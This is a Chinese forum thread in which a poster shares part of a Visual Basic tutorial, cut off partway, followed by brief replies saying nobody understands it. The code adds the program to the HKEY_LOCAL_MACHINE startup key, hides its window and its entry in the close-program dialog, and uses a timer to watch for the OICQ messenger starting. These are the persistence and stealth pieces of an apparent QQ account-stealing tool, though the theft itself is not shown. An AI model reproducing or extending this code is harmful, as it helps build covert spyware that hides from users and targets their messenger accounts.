标题:【求助】讨教（待续）
作者:小色猫
时间:8/13 18:57
为这个程序
Ret = RegCreateKey&(HKEY_LOCAL_MACHINE, sKeyName, lphKey) \'创建新的启动项
Ret = RegSetValue&(lphKey&, \"\", REG_SZ, sKeyValue, 0&) \'设置键值
End Sub
（3）实现程序自身的隐藏（Me.Hide）、在关闭程序对话框中隐藏。
声明变量、过程及 API 函数,写在 Module1.bas 文件中
Declare Function RegisterServiceProcess Lib \"kernel32\" (ByVal dwProcessID As Long, ByVal dwType As Long) As Long
Const RSP_SIMPLE_SERVICE = 1 \'隐藏
建立实现程序自身在关闭程序对话框中的隐藏的过程
Sub HideMyWin()
RegisterServiceProcess lngProcessID, RSP_SIMPLE_SERVICE
End Sub
（4）即时监视是否运行了 OICQ
加载 1 个 Timer 控件，其 Interval 的值为1（你也可以自己设置，尽量少点），这个程序就是通过 Timer 来实现监视的。
Private Sub Timer1_Timer()
EnumWindows AddressOf EnumProc, 0 \'枚举窗口列表中的所有父窗口（顶级和被所有窗口），开始监视程序
End Sub
声明变量、过程、函数及 API 函数,写在 Module1.bas 文件中
Option Explicit
Declare Function EnumWind ..
下页 上页
回复本帖|发新话题
回复列表 (6)
#1 根本没人看。
[芗城土著 8/13 21:32]
#2 不是没人看是他们看不懂！~！
[小色猫 8/13 23:35]
#3 看来你是看懂了。。我怎么看的 ..
[丸子 8/13 23:58]
#4 你来了啊怎么我发的文章总被删啊
[小色猫 8/14 00:14]
#5 这个问题你已经从市长办公室问 ..
[微蓝 8/14 00:20]
#6 什么呀！！！
看不懂
[被淹的鱼儿 9/1 22:59]
<<下一主题
>>上一主题
返回版块